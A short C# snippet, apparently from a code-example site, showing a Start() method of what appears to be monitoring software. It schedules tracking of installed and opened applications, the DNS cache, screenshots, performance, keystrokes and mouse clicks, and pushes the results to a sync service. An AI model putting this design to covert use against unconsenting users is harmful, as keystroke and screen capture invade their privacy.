コード例 #1
0
        public void Start()
        {
            _cancelTokenSource = new CancellationTokenSource();
            _cancellationToken = _cancelTokenSource.Token;

            ScheduleRecurringTask(async() => await _trackInstalledApplicationsService.TrackApplications(), Settings.Default.TrackInstalledApplicationsInterval);
            ScheduleRecurringTask(async() => await _trackOpenedApplicationsService.TrackApplications(), Settings.Default.TrackOpenedApplicationsInterval);
            ScheduleRecurringTask(async() => await _trackDnsCacheService.Track(), Settings.Default.TrackDnsCacheInterval);
            ScheduleRecurringTask(async() => await _screenshotService.TrackAsync(), Settings.Default.TrackScreenshotsInterval);
            ScheduleRecurringTask(async() => await _trackSystemPerformanceService.Track(), Settings.Default.TrackSystemPerformanceInterval);
            ScheduleRecurringTask(async() => await _syncService.PushUpdatesAsync(), 30000); // Settings.Default.SyncInterval);
            ScheduleKeystrokeTask();
            ScheduleMouseClickTask();
        }